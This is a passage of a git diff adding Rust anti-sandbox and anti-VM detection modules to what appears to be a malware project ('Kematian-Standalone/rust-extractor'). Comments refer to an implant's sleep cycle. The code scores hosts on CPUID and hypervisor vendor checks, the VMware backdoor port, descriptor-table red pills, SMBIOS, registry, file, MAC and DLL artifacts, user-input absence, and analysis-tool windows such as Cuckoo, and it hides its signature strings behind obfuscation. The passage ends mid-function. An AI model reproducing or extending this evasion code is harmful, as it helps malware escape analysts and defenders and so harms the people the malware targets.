u32, + _size_low: u32, + _res0: u32, + _res1: u32, + c_file_name: [u16; 260], + _alt: [u16; 14], + _pad: [u16; 2], +} + +unsafe fn count_files(dir_wide: &[u16], max_count: u32) -> u32 { + const FIND_FIRST_EX_CASE_SENSITIVE: u32 = 1; + let _ = FIND_FIRST_EX_CASE_SENSITIVE; + let mut count: u32 = 0; + let mut fd: FindDataW = core::mem::zeroed(); + let h = abi::FindFirstFileExW( + dir_wide.as_ptr(), + 0, // FindExInfoStandard + &mut fd as *mut _ as *mut c_void, + 0, // FindExSearchNameMatch + ptr::null_mut(), + 0, + ); + if h == usize::MAX || h == 0 { + return 0; + } + loop { + let name_len = fd.c_file_name.iter().position(|&c| c == 0).unwrap_or(0); + // skip "." and ".." + let dot = name_len == 1 && fd.c_file_name[0] == '.' as u16; + let dotdot = name_len == 2 && fd.c_file_name[0] == '.' as u16 && fd.c_file_name[1] == '.' as u16; + if !dot && !dotdot { + count += 1; + if count >= max_count { + break; + } + } + if abi::FindNextFileW(h, &mut fd as *mut _ as *mut c_void) == 0 { + break; + } + } + extern "system" { fn FindClose(h_find_file: usize) -> i32; } + FindClose(h); + count +} + +pub fn desktop_activity_sparse() -> bool { + unsafe { + // %APPDATA%\Microsoft\Windows\Recent\* + let mut appdata = [0u16; 160]; + let av_w = wide(b"APPDATA"); + let n = abi::GetEnvironmentVariableW(av_w.as_ptr(), appdata.as_mut_ptr(), 150); + if n == 0 || n >= 140 { + return false; + } + let mut pattern: Vec = appdata[..n as usize].to_vec(); + let suffix = b"\\Microsoft\\Windows\\Recent\\*"; + for &c in suffix { + pattern.push(c as u16); + } + pattern.push(0); + + let recents = count_files(&pattern, 40); + // < 4 recent items on a booted-and-used machine is unusual. + recents < 4 + } +} + +/// Number of installed programs (Uninstall subkeys). Sparse program lists +/// suggest a disposable image. Weak-ish on its own; part of desktop profile. +pub fn installed_programs_sparse(min_expected: u32) -> bool { + let path = wide(b"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"); + unsafe { + let mut hk: usize = 0; + if dynapi::RegOpenKeyExW( + abi::HKEY_LOCAL_MACHINE, + path.as_ptr(), + 0, + abi::KEY_READ, + &mut hk, + ) != 0 + { + return true; // can't even open Uninstall = broken/minimal image + } + let mut idx: u32 = 0; + let mut count: u32 = 0; + let mut name_buf = [0u16; 256]; + loop { + let mut sz: u32 = 256; + let st = dynapi::RegEnumKeyExW( + hk, idx, + name_buf.as_mut_ptr(), &mut sz, + ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), + ); + if st != 0 { + break; + } + count += 1; + if count >= min_expected { + break; + } + idx += 1; + } + dynapi::RegCloseKey(hk); + count < min_expected + } +} + +// --------------------------------------------------------------------------- +// MEDIUM/WEAK signals +// --------------------------------------------------------------------------- + +static mut WINDOW_COUNT: u32 = 0; +unsafe extern "system" fn count_cb(_hwnd: usize, _lp: isize) -> i32 { + WINDOW_COUNT += 1; + if WINDOW_COUNT > 500 { + return 0; + } + 1 +} + +/// Very few top-level windows => non-interactive session (service host, +/// headless sandbox). Real desktops accumulate many invisible top-levels. +pub fn window_count_low(threshold: u32) -> bool { + unsafe { + WINDOW_COUNT = 0; + dynapi::EnumWindows(count_cb as usize, 0); + WINDOW_COUNT < threshold + } +} + +/// Screen resolution below common minimum for real usage. +pub fn resolution_anomaly() -> bool { + unsafe { + let w = dynapi::GetSystemMetrics(0); // SM_CXSCREEN + let h = dynapi::GetSystemMetrics(1); // SM_CYSCREEN + // Headless sandboxes often report tiny or zero geometry. + w < 1100 || h < 650 || w == 0 || h == 0 + } +} + +/// Mouse entropy over a short sampling window: a live session shows cursor +/// movement with direction changes. Idle legit machines also show none, so +/// this is weak and must be corroborated. +pub fn mouse_idle(samples: u32, interval_ms: u32) -> bool { + #[repr(C)] + struct Point { x: i32, y: i32 } + + unsafe { + let mut last = Point { x: 0, y: 0 }; + let mut moves = 0u32; + let mut reversals = 0u32; + let mut last_dx = 0i32; + let mut first = true; + + for _ in 0..samples { + let mut p = Point { x: 0, y: 0 }; + if dynapi::GetCursorPos(&mut p as *mut _ as *mut c_void) == 0 { + return false; + } + if first { + last = p; + first = false; + } else if p.x != last.x || p.y != last.y { + let dx = p.x - last.x; + if (dx > 0 && last_dx < 0) || (dx < 0 && last_dx > 0) { + reversals += 1; + } + last_dx = dx; + moves += 1; + last = p; + } + abi::Sleep(interval_ms); + } + + // Human-like activity requires movement AND at least one reversal + // (curved paths). Pure linear glide is automation. + !(moves >= 2 && reversals >= 1) + } +} + +/// Core audio service missing — headless/analysis images frequently strip it. +pub fn audio_service_missing() -> bool { + let p = wide(b"SYSTEM\\CurrentControlSet\\Services\\Audiosrv"); + !unsafe { reg_key_exists(&p) } +} + +// --------------------------------------------------------------------------- +// Aggregation with corroboration model +// --------------------------------------------------------------------------- + +pub struct SbxVerdict { + /// Conclusive hardware/timer tampering — trust alone. + pub hard: bool, + /// Rare-on-clean-hosts signals. + pub strong: u32, + /// Common-noise signals, only meaningful with corroboration. + pub weak: u32, + /// Final computed suspicion score. + pub score: u32, +} + +/// Run the full battery and compute a corroborated verdict. +/// +/// Scoring: +/// - any hard signal → hard=true (caller treats as hostile immediately) +/// - score = strong*3 + (weak only if strong>0 else 0), capped +/// - identity marker counts as strong but adds +1 bonus weak-equivalent +/// because it correlates strongly with lab environments +pub fn verdict(mouse_samples: u32, mouse_interval_ms: u32) -> SbxVerdict { + let mut strong: u32 = 0; + let mut weak: u32 = 0; + + // --- Hard layer --- + let hard = sleep_accelerated(1200) + || timer_inconsistent() + || kernel_sleep_accelerated(800); + + // --- Strong layer --- + if identity_markers() { + strong += 1; + } + if desktop_activity_sparse() { + strong += 1; + } + if installed_programs_sparse(6) { + strong += 1; + } + + // --- Weak layer --- + if window_count_low(12) { + weak += 1; + } + if resolution_anomaly() { + weak += 1; + } + if audio_service_missing() { + weak += 1; + } + // Mouse idle costs ~1-2s; run it last. + if mouse_idle(mouse_samples, mouse_interval_ms) { + weak += 1; + } + + // Corroboration rule: weak signals are only trusted in the presence of + // at least one strong signal. This is the FP killer: a legit fresh PC + // might trip 2-3 weak signals but almost never a strong one alongside. + let effective_weak = if strong > 0 { weak } else { 0 }; + let score = strong * 3 + effective_weak; + + SbxVerdict { hard, strong, weak, score } +} + +/// Cheap second-pass verification intended to run AFTER the implant's first +/// sleep cycle. Sandbox artifacts (accelerated sleeps, absent input) become +/// more pronounced over time; a second opinion reduces transient FPs. +pub fn verify_second_pass() -> SbxVerdict { + let mut strong: u32 = 0; + let mut weak: u32 = 0; + + let hard = sleep_accelerated(900); + + if desktop_activity_sparse() { + strong += 1; + } + // Long-window input absence with minimum uptime guard. + unsafe { + let now = abi::GetTickCount64(); + if now > 15 * 60 * 1000 { + let mut li: [u32; 2] = [core::mem::size_of::() as u32 * 2, 0]; + if dynapi::GetLastInputInfo(li.as_mut_ptr() as *mut c_void) != 0 { + let last = li[1] as u64; + if now.saturating_sub(last) > 20 * 60 * 1000 { + weak += 1; + } + } + } + } + + let effective_weak = if strong > 0 { weak } else { 0 }; + let score = strong * 3 + effective_weak; + SbxVerdict { hard, strong, weak, score } +} diff --git a/Kematian-Standalone/rust-extractor/src/antivm.rs b/Kematian-Standalone/rust-extractor/src/antivm.rs new file mode 100644 index 0000000..6f95840 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/antivm.rs @@ -0,0 +1,847 @@ +//! Comprehensive anti-VM / anti-sandbox detection. +//! +//! Layered detection across many independent vectors; each returns a small +//! score contribution. A total above a threshold means the host is very likely +//! virtual or an automated analysis sandbox. +//! +//! Vectors implemented: +//! 1. CPUID hypervisor bit + vendor string (leaf 0x40000000) +//! 2. CPU brand string (leaves 0x80000002..4) — "Virtual", "KVM", etc. +//! 3. VMware backdoor I/O port (VMware-specific magic value in EBX/ECX) +//! 4. Instruction red pills — SIDT/SGDT/STR machine-specific values +//! 5. SMBIOS / firmware table strings +//! 6. Registry artifacts (VMware Tools, VBox Guest Additions, QEMU, Xen) +//! 7. Filesystem artifacts (tool binaries, driver files, pipe names) +//! 8. MAC address OUI prefixes (VMware/VBox/QEMU/Xen/Hyper-V/KVM vendors) +//! 9. Uptime anomaly (fresh snapshot = low uptime) +//! 10. Process count anomaly (sandbox VMs run few processes) +//! 11. User-input absence (no mouse movement, no keyboard input ever) +//! 12. Loaded DLL scan (vmguestlib.dll, vboxhook.dll, etc.) +//! 13. Window class/title scan (VBoxTrayToolWindow, VMware tool windows) +//! 14. Disk characteristics (fixed-drive volume name patterns) +//! 15. CPU core/RAM quirk checks +//! 16. Display driver + refresh rate checks + +#![allow(dead_code)] + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; + +use crate::abi; +use crate::dynapi; +use crate::gen; +use crate::obf; + +// --------------------------------------------------------------------------- +// String helpers +// --------------------------------------------------------------------------- + +fn lower(b: &[u8]) -> Vec { + b.iter().map(|c| c.to_ascii_lowercase()).collect() +} + +fn contains(hay: &[u8], needle: &[u8]) -> bool { + if needle.is_empty() || hay.len() < needle.len() { + return false; + } + hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle)) +} + +// --------------------------------------------------------------------------- +// 1-2. CPUID-based detection +// --------------------------------------------------------------------------- + +#[inline] +unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) { + let mut a = leaf; + let mut c = sub; + let mut d = 0u32; + let mut b = 0u32; + asm!( + "push rbx", + "cpuid", + "mov {tmp:e}, ebx", + "pop rbx", + inout("eax") a, + inout("ecx") c, + out("edx") d, + tmp = lateout(reg) b, + options(nostack, preserves_flags), + ); + (a, b, c, d) +} + +/// Hypervisor-present bit (leaf 1 ECX bit 31). +pub fn cpuid_hypervisor_bit() -> bool { + unsafe { + let (_, _, ecx, _) = cpuid(1, 0); + ecx & (1 << 31) != 0 + } +} + +/// Extended hypervisor vendor string via leaf 0x40000000 (EBX:ECX:EDX). +pub fn cpuid_hypervisor_vendor() -> Option { + if !cpuid_hypervisor_bit() { + return None; + } + unsafe { + let (max_leaf, ebx, ecx, edx) = cpuid(0x4000_0000, 0); + if max_leaf == 0 { + return None; + } + let bytes: Vec = [ + ebx.to_le_bytes(), + ecx.to_le_bytes(), + edx.to_le_bytes(), + ] + .iter() + .flatten() + .copied() + .collect(); + Some(String::from_utf8_lossy(&bytes).trim_end_matches('\0').to_string()) + } +} + +/// CPU brand string via extended leaves. Real CPUs say "Intel(R) Core..." / +/// "AMD Ryzen...". VMs often inject "Common KVM processor" etc. +pub fn cpuid_brand_suspicious() -> bool { + unsafe { + let (_, max_ext, _, _) = { + // leaf 0x80000000 returns max ext leaf in EAX + let r = cpuid(0x8000_0000, 0); + (r.0, r.0, r.2, r.3) + }; + if max_ext < 0x8000_0004 { + return false; + } + let mut brand = Vec::with_capacity(48); + for leaf in [0x8000_0002u32, 0x8000_0003, 0x8000_0004] { + let (a, b, c, d) = cpuid(leaf, 0); + for v in [a, b, c, d] { + brand.extend_from_slice(&v.to_le_bytes()); + } + } + let bl = lower(&brand); + + let key: u8 = gen::K_VENDOR; + let bad: [(obf::Slot, u32); 6] = [ + obf::sig(key, 0x6101, b"kvm"), + obf::sig(key, 0x6102, b"virtual"), + obf::sig(key, 0x6103, b"qemu"), + obf::sig(key, 0x6104, b"vmware"), + obf::sig(key, 0x6105, b"xen"), + obf::sig(key, 0x6106, b"hyper-v"), + ]; + const LENS: [usize; 6] = [3, 7, 4, 6, 3, 7]; + for (i, s) in bad.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&bl, &plain[..LENS[i]]) { + return true; + } + } + false + } +} + +// --------------------------------------------------------------------------- +// 3. VMware backdoor I/O port +// --------------------------------------------------------------------------- + +/// VMware's backdoor: `in eax, dx` with DX=0x5658 ("VX") and EAX=0x564D5868 +/// ("VMXh"). On real VMware, ECX returns the magic 'VMXh'. On bare metal this +/// raises SIGSEGV/#GP which we must catch — we can't easily do that from Rust +/// without SEH, so we only run this when the hypervisor bit is set anyway +/// (cheap and safe), making it a *refinement* rather than a primary signal. +pub fn vmware_backdoor_present() -> bool { + if !cpuid_hypervisor_bit() { + return false; + } + unsafe { + let magic: u32 = 0x564D_5868; // 'VMXh' + let port: u16 = 0x5658; // 'VX' + let ver_out: u32; + let magic_out: u32; + asm!( + "push rbx", + "mov ebx, {magic:e}", + "mov ecx, 0xA", // backdoor cmd: get version + "in eax, dx", + "mov {mo:e}, ebx", + "pop rbx", + magic = in(reg) magic, + mo = out(reg) magic_out, + inlateout("eax") magic => ver_out, + out("ecx") _, + in("dx") port, + options(nostack), + ); + // VMware returns its version in EAX; EBX may echo the magic. + ver_out != magic || (magic_out & 0xFFFF_FFFF) == magic + } +} + +// --------------------------------------------------------------------------- +// 4. Instruction red pills +// --------------------------------------------------------------------------- + +/// SIDT returns the base of the Interrupt Descriptor Table. In VMware on Intel +/// the IDT base is commonly at 0xFFxxxxxx (above kernel range start), while on +/// bare metal it is usually lower. This is a weak heuristic; score it lightly. +pub fn sidt_red_pill() -> bool { + #[repr(C, packed(2))] + struct Descriptor { + limit: u16, + base: u64, + } + let mut d = Descriptor { limit: 0, base: 0 }; + unsafe { + asm!( + "sidt [{}]", + in(reg) &mut d as *mut Descriptor, + options(nostack, preserves_flags), + ); + } + // Common VMware-on-Intel signature. + (d.base >> 24) >= 0xFF && (d.base >> 32) == 0 +} + +/// SLDT (Store Local Descriptor Table). On bare metal LDT is usually 0; some +/// hypervisors leave a nonzero selector. Weak heuristic. +pub fn sldt_anomaly() -> bool { + let ldt: u16; + unsafe { + asm!("sldt {0:x}", out(reg) ldt, options(nostack, preserves_flags)); + } + ldt != 0 +} + +/// STR (Store Task Register) — trampoline check used by some sandboxes. +pub fn str_anomaly(expected_low: u16) -> bool { + let tr: u16; + unsafe { + asm!("str {0:x}", out(reg) tr, options(nostack, preserves_flags)); + } + // Windows usermode task register is typically 0x0040-ish under WoW or 0 + // in x64. Values far outside normal ranges suggest instrumentation. + tr != expected_low && tr > 0x40 +} + +// --------------------------------------------------------------------------- +// 5. SMBIOS firmware strings +// --------------------------------------------------------------------------- + +pub fn smbios_firmware_strings() -> bool { + const RSMB: u32 = 0x5253_4D42; + let size = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0) }; + if size == 0 || size > 4 * 1024 * 1024 { + return false; + } + let mut buf = vec![0u8; size as usize]; + let got = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size) }; + if got == 0 { + return false; + } + buf.truncate(got as usize); + let bl = lower(&buf); + + let key: u8 = gen::K_SMBIOS; + let bad: [(obf::Slot, u32); 12] = [ + obf::sig(key, 0x2001, b"vmware"), + obf::sig(key, 0x2002, b"virtualbox"), + obf::sig(key, 0x2003, b"qemu"), + obf::sig(key, 0x2004, b"kvm"), + obf::sig(key, 0x2005, b"innotek"), + obf::sig(key, 0x2006, b"bochs"), + obf::sig(key, 0x2007, b"virtual machine"), + obf::sig(key, 0x2008, b"hyper-v"), + obf::sig(key, 0x2009, b"parallels"), + obf::sig(key, 0x200a, b"bhyve"), + obf::sig(key, 0x200b, b"xen"), + obf::sig(key, 0x200c, b"vbox"), + ]; + const LENS: [usize; 12] = [6, 10, 4, 3, 7, 5, 15, 7, 9, 5, 3, 4]; + for (i, s) in bad.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&bl, &plain[..LENS[i]]) { + return true; + } + } + false +} + +// --------------------------------------------------------------------------- +// 6. Registry artifacts +// --------------------------------------------------------------------------- + +/// Check if a registry key exists under HKLM. +unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool { + let mut hk: usize = 0; + let status = dynapi::RegOpenKeyExW( + abi::HKEY_LOCAL_MACHINE, + subkey_wide.as_ptr(), + 0, + abi::KEY_READ, + &mut hk, + ); + if status == 0 { + dynapi::RegCloseKey(hk); + true + } else { + false + } +} + +fn wide(s: &[u8]) -> Vec { + s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect() +} + +pub fn registry_artifacts() -> u32 { + let mut hits: u32 = 0; + + let key: u8 = gen::K_ENV; + let paths: [(obf::Slot, u32); 10] = [ + // SOFTWARE\VMware, Inc.\VMware Tools + obf::sig(key, 0x4201, b"SOFTWARE\\VMware, Inc.\\VMware Tools"), + // SOFTWARE\Oracle\VirtualBox Guest Additions + obf::sig(key, 0x4202, b"SOFTWARE\\Oracle\\VirtualBox Guest Additions"), + // SYSTEM\ControlSet001\Services\VBoxGuest + obf::sig(key, 0x4203, b"SYSTEM\\ControlSet001\\Services\\VBoxGuest"), + // SYSTEM\ControlSet001\Services\VBoxMouse + obf::sig(key, 0x4204, b"SYSTEM\\ControlSet001\\Services\\VBoxMouse"), + // SYSTEM\ControlSet001\Services\VBoxSF + obf::sig(key, 0x4205, b"SYSTEM\\ControlSet001\\Services\\VBoxSF"), + // SYSTEM\ControlSet001\Services\VBoxVideo + obf::sig(key, 0x4206, b"SYSTEM\\ControlSet001\\Services\\VBoxVideo"), + // HARDWARE\ACPI\DSDT\VBOX__ + obf::sig(key, 0x4207, b"HARDWARE\\ACPI\\DSDT\\VBOX__"), + // HARDWARE\ACPI\FADT\VBOX__ + obf::sig(key, 0x4208, b"HARDWARE\\ACPI\\FADT\\VBOX__"), + // HARDWARE\Description\System\BIOS with SystemManufacturer + obf::sig(key, 0x4209, b"HARDWARE\\Description\\System\\BIOS"), + // SYSTEM\ControlSet001\Services\vmci + obf::sig(key, 0x420a, b"SYSTEM\\ControlSet001\\Services\\vmci"), + ]; + const LENS: [usize; 10] = [33, 41, 41, 41, 39, 41, 28, 28, 35, 38]; + + unsafe { + for (i, s) in paths.iter().enumerate() { + let raw = obf::dec_sig(key, s, LENS[i]); + let w = wide(&raw[..LENS[i]]); + if reg_key_exists(&w) { + hits += 1; + if hits >= 2 { + return hits; + } + } + } + + // BIOS table: read SystemManufacturer + SystemProductName values. + let bios_key = wide(b"HARDWARE\\DESCRIPTION\\System\\BIOS"); + if let Some(hk) = open(&bios_key) { + let val_names: [(obf::Slot, u32); 2] = [ + obf::sig(gen::K_ENV, 0x4301, b"SystemManufacturer"), + obf::sig(gen::K_ENV, 0x4302, b"SystemProductName"), + ]; + const VLENS: [usize; 2] = [18, 17]; + let mut buf = [0u8; 256]; + for (i, vn) in val_names.iter().enumerate() { + let raw = obf::dec_sig(gen::K_ENV, vn, VLENS[i]); + let vw = wide(&raw[..VLENS[i]]); + let mut sz: u32 = buf.len() as u32; + let st = dynapi::RegQueryValueExW( + hk, vw.as_ptr(), ptr::null_mut(), ptr::null_mut(), + buf.as_mut_ptr(), &mut sz, + ); + if st == 0 && sz > 0 { + let vl = lower(&buf[..sz as usize]); + let markers: [&[u8]; 6] = + [b"vmware", b"virtualbox", b"qemu", b"kvm", b"xen", b"microsoft corporation virtual"]; + for m in markers { + if contains(&vl, m) { + hits += 1; + } + } + } + } + dynapi::RegCloseKey(hk); + } + } + + hits +} + +unsafe fn open(subkey_wide: &[u16]) -> Option { + let mut hk: usize = 0; + if dynapi::RegOpenKeyExW( + abi::HKEY_LOCAL_MACHINE, + subkey_wide.as_ptr(), + 0, + abi::KEY_READ, + &mut hk, + ) == 0 + { + Some(hk) + } else { + None + } +} + +// --------------------------------------------------------------------------- +// 7. Filesystem artifacts +// --------------------------------------------------------------------------- + +const FILE_ATTRIBUTE_INVALID: u32 = 0xFFFF_FFFF; + +unsafe fn file_exists(path_wide: &[u16]) -> bool { + abi::GetFileAttributesW(path_wide.as_ptr()) != FILE_ATTRIBUTE_INVALID +} + +pub fn filesystem_artifacts() -> u32 { + let mut hits: u32 = 0; + let key: u8 = gen::K_ENV; + + let files: [(obf::Slot, u32); 14] = [ + obf::sig(key, 0x4401, b"C:\\Program Files\\VMware\\VMware Tools"), + obf::sig(key, 0x4402, b"C:\\Program Files\\Oracle\\VirtualBox Guest Additions"), + obf::sig(key, 0x4403, b"C:\\Windows\\System32\\drivers\\vmmouse.sys"), + obf::sig(key, 0x4404, b"C:\\Windows\\System32\\drivers\\vmhgfs.sys"), + obf::sig(key, 0x4405, b"C:\\Windows\\System32\\drivers\\vboxguest.sys"), + obf::sig(key, 0x4406, b"C:\\Windows\\System32\\drivers\\vboxmouse.sys"), + obf::sig(key, 0x4407, b"C:\\Windows\\System32\\vboxdisp.dll"), + obf::sig(key, 0x4408, b"C:\\Windows\\System32\\vboxhook.dll"), + obf::sig(key, 0x4409, b"C:\\Windows\\System32\\vboxmrxnp.dll"), + obf::sig(key, 0x440a, b"C:\\Windows\\System32\\drivers\\balloon.sys"), + obf::sig(key, 0x440b, b"C:\\Windows\\System32\\drivers\\netkvm.sys"), + obf::sig(key, 0x440c, b"C:\\Windows\\System32\\drivers\\pvpanic.sys"), + obf::sig(key, 0x440d, b"C:\\Program Files\\Parallels\\Parallels Tools"), + obf::sig(key, 0x440e, b"C:\\Windows\\System32\\prl_cc.exe"), + ]; + const LENS: [usize; 14] = [37, 51, 43, 42, 46, 46, 39, 38, 42, 44, 44, 44, 45, 36]; + + unsafe { + for (i, s) in files.iter().enumerate() { + let raw = obf::dec_sig(key, s, LENS[i]); + let w = wide(&raw[..LENS[i]]); + if file_exists(&w) { + hits += 1; + if hits >= 2 { + return hits; + } + } + } + } + hits +} + +// --------------------------------------------------------------------------- +// 8. MAC address OUI prefixes +// --------------------------------------------------------------------------- + +#[repr(C)] +struct IpAdapterAddresses { + _length: u32, + _if_index: u32, + next: *mut IpAdapterAddresses, + _adapter_name: *const u8, + _first_unicast: *mut c_void, + _first_anycast: *mut c_void, + _first_multicast: *mut c_void, + _dns_server: *mut c_void, + _dns_suffix: *mut u16, + _description: *mut u16, + _friendly_name: *mut u16, + physical_address: [u8; 8], + physical_address_length: u32, + _flags: u32, +} + +/// Known VM/hypervisor OUI prefixes (first 3 bytes of MAC). +const VM_OUIS: [[u8; 3]; 12] = [ + [0x00, 0x05, 0x69], // VMware + [0x00, 0x0C, 0x29], // VMware + [0x00, 0x1C, 0x14], // VMware + [0x00, 0x50, 0x56], // VMware + [0x08, 0x00, 0x27], // VirtualBox + [0x0A, 0x00, 0x27], // VirtualBox (alt) + [0x52, 0x54, 0x00], // QEMU/KVM + [0x00, 0x16, 0x3E], // Xen + [0x00, 0x1C, 0x42], // Parallels + [0x00, 0x03, 0xFF], // Hyper-V (Microsoft) + [0x00, 0x15, 0x5D], // Hyper-V + [0x02, 0x42, 0xAC], // Docker bridge (container/sandbox hint) +]; + +const AF_UNSPEC: u32 = 0; +const GAA_FLAG_INCLUDE_ALL_INTERFACES: u32 = 0x100; +const ERROR_BUFFER_OVERFLOW: u32 = 111; + +pub fn mac_address_vm() -> bool { + unsafe { + let mut size: u32 = 0; + // First call to get required buffer size. + let rc = dynapi::GetAdaptersAddresses( + AF_UNSPEC, + GAA_FLAG_INCLUDE_ALL_INTERFACES, + ptr::null_mut(), + ptr::null_mut(), + &mut size, + ); + if rc != ERROR_BUFFER_OVERFLOW || size == 0 { + return false; + } + let mut buf = vec![0u8; size as usize]; + let head = buf.as_mut_ptr() as *mut IpAdapterAddresses; + let rc = dynapi::GetAdaptersAddresses( + AF_UNSPEC, + GAA_FLAG_INCLUDE_ALL_INTERFACES, + ptr::null_mut(), + head as *mut c_void, + &mut size, + ); + if rc != 0 { + return false; + } + let mut cur = head; + while !cur.is_null() { + let a = &*cur; + let len = a.physical_address_length as usize; + if len >= 3 { + for oui in VM_OUIS.iter() { + if a.physical_address[0] == oui[0] + && a.physical_address[1] == oui[1] + && a.physical_address[2] == oui[2] + { + return true; + } + } + } + cur = a.next; + } + } + false +} + +// --------------------------------------------------------------------------- +// 9. Uptime anomaly +// --------------------------------------------------------------------------- + +/// Sandboxes frequently boot from a fresh snapshot minutes before detonation. +pub fn uptime_suspicious(max_minutes: u64) -> bool { + let ms = unsafe { abi::GetTickCount64() }; + ms < max_minutes * 60 * 1000 +} + +// --------------------------------------------------------------------------- +// 10. Process-count anomaly +// --------------------------------------------------------------------------- + +pub fn process_count_low(min_expected: usize) -> bool { + const TH32CS_SNAPPROCESS: u32 = 0x2; + unsafe { + let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0 || snap == abi::INVALID_HANDLE_VALUE { + return false; + } + #[repr(C)] + struct Pe32W { + dw_size: u32, + _pad: [u32; 7], + sz_exe_file: [u16; 260], + } + let mut e: Pe32W = core::mem::zeroed(); + e.dw_size = core::mem::size_of::() as u32; + let mut count: usize = 0; + if abi::Process32FirstW(snap, &mut e as *mut _ as *mut c_void) != 0 { + loop { + count += 1; + if count > min_expected { + break; + } + if abi::Process32NextW(snap, &mut e as *mut _ as *mut c_void) == 0 { + break; + } + } + } + abi::CloseHandle(snap); + count <= min_expected + } +} + +// --------------------------------------------------------------------------- +// 11. User input absence +// --------------------------------------------------------------------------- + +#[repr(C)] +struct LastInputInfo { + cb_size: u32, + dw_time: u32, +} + +/// No keyboard/mouse input within N ms => nobody is using this machine => +/// likely an automated sandbox. Only meaningful when uptime is long enough +/// (a freshly booted real PC also has no input yet). +pub fn no_user_input(window_ms: u32, min_uptime_ms: u64) -> bool { + unsafe { + let now = abi::GetTickCount64(); + if now < min_uptime_ms { + return false; // too early to judge + } + let mut li = LastInputInfo { + cb_size: core::mem::size_of::() as u32, + dw_time: 0, + }; + if dynapi::GetLastInputInfo(&mut li as *mut _ as *mut c_void) == 0 { + return false; + } + let last = li.dw_time as u64; + // GetTickCount wraps ~49 days; ignore wrap edge case for simplicity. + now.saturating_sub(last) > window_ms as u64 + } +} + +// --------------------------------------------------------------------------- +// 12. Loaded module scan +// --------------------------------------------------------------------------- + +pub fn vm_dlls_loaded() -> bool { + const TH32CS_SNAPMODULE: u32 = 0x8; + unsafe { + let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0); + if snap == 0 || snap == abi::INVALID_HANDLE_VALUE { + return false; + } + #[repr(C)] + struct Me32W { + dw_size: u32, + _mid: [u32; 7], + _base: usize, + sz_module: [u16; 256], + sz_exe_path: [u16; 260], + } + let mut me: Me32W = core::mem::zeroed(); + me.dw_size = core::mem::size_of::() as u32; + + let key: u8 = gen::K_TOKEN; + let bad: [(obf::Slot, u32); 8] = [ + obf::sig(key, 0x4501, b"vmguestlib"), + obf::sig(key, 0x4502, b"vboxhook"), + obf::sig(key, 0x4503, b"vboxmrxnp"), + obf::sig(key, 0x4504, b"vmswitch"), + obf::sig(key, 0x4505, b"sandboxie"), + obf::sig(key, 0x4506, b"dbghelp"), + obf::sig(key, 0x4507, b"api_log"), + obf::sig(key, 0x4508, b"dir_watch"), + ]; + const LENS: [usize; 8] = [11, 8, 10, 8, 9, 7, 8, 9]; + + let mut found = false; + if abi::Module32FirstW(snap, &mut me as *mut _ as *mut c_void) != 0 { + loop { + let mut name = Vec::with_capacity(512); + for ch in me.sz_module.iter() { + if *ch == 0 { break; } + name.push(*ch as u8); + } + let nl = lower(&name); + for (i, s) in bad.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&nl, &plain[..LENS[i]]) { + found = true; + break; + } + } + if found { break; } + if abi::Module32NextW(snap, &mut me as *mut _ as *mut c_void) == 0 { + break; + } + } + } + abi::CloseHandle(snap); + found + } +} + +// --------------------------------------------------------------------------- +// 13. Window title/class scan +// --------------------------------------------------------------------------- + +static mut WINDOW_HIT: bool = false; + +/// EnumWindows callback: check window text + class against encrypted signatures. +unsafe extern "system" fn enum_cb(hwnd: usize, _lparam: isize) -> i32 { + let mut text = [0u16; 256]; + let mut cls = [0u16; 256]; + dynapi::GetWindowTextW(hwnd, text.as_mut_ptr(), 256); + dynapi::GetClassNameW(hwnd, cls.as_mut_ptr(), 256); + + let tlen = text.iter().position(|&c| c == 0).unwrap_or(0); + let clen = cls.iter().position(|&c| c == 0).unwrap_or(0); + let tb: Vec = text[..tlen].iter().map(|&c| c as u8).collect(); + let cb: Vec = cls[..clen].iter().map(|&c| c as u8).collect(); + + let key: u8 = gen::K_DISPLAY; + let bad: [(obf::Slot, u32); 6] = [ + obf::sig(key, 0x5501, b"vboxtraytoolwindow"), + obf::sig(key, 0x5502, b"vboxtray"), + obf::sig(key, 0x5503, b"vmwareuser"), + obf::sig(key, 0x5504, b"vmwaretray"), + obf::sig(key, 0x5505, b"paratools"), + obf::sig(key, 0x5506, b"cuckoo sandbox"), + ]; + const LENS: [usize; 6] = [18, 8, 11, 10, 9, 13]; + + let tl = lower(&tb); + let cl = lower(&cb); + for (i, s) in bad.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + let p = &plain[..LENS[i]]; + if contains(&tl, p) || contains(&cl, p) { + WINDOW_HIT = true; + return 0; // stop enumeration + } + } + 1 // continue +} + +pub fn vm_tool_windows() -> bool { + unsafe { + WINDOW_HIT = false; + dynapi::EnumWindows(enum_cb as usize, 0); + WINDOW_HIT + } +} + +// --------------------------------------------------------------------------- +// 14. Disk / volume characteristics +// --------------------------------------------------------------------------- + +/// Fixed drives whose volume label matches common VM defaults +/// ("System Reserved" alone is fine; but "VBOX", "CDROM" etc are not). +pub fn disk_artifacts() -> bool { + let key: u8 = gen::K_SMBIOS; + let labels: [(obf::Slot, u32); 5] = [ + obf::sig(key, 0x5601, b"vbox"), + obf::sig(key, 0x5602, b"cdrom"), + obf::sig(key, 0x5603, b"ubuntu"), + obf::sig(key, 0x5604, b"debian"), + obf::sig(key, 0x5605, b"kali"), + ]; + const LENS: [usize; 5] = [4, 5, 6, 6, 4]; + + // DRIVE_FIXED = 3 + const DRIVE_FIXED: u32 = 3; + for letter in [b'C', b'D', b'E'] { + let root: Vec = vec![letter, b':', b'\\']; + let rw = wide(&root); + unsafe { + if 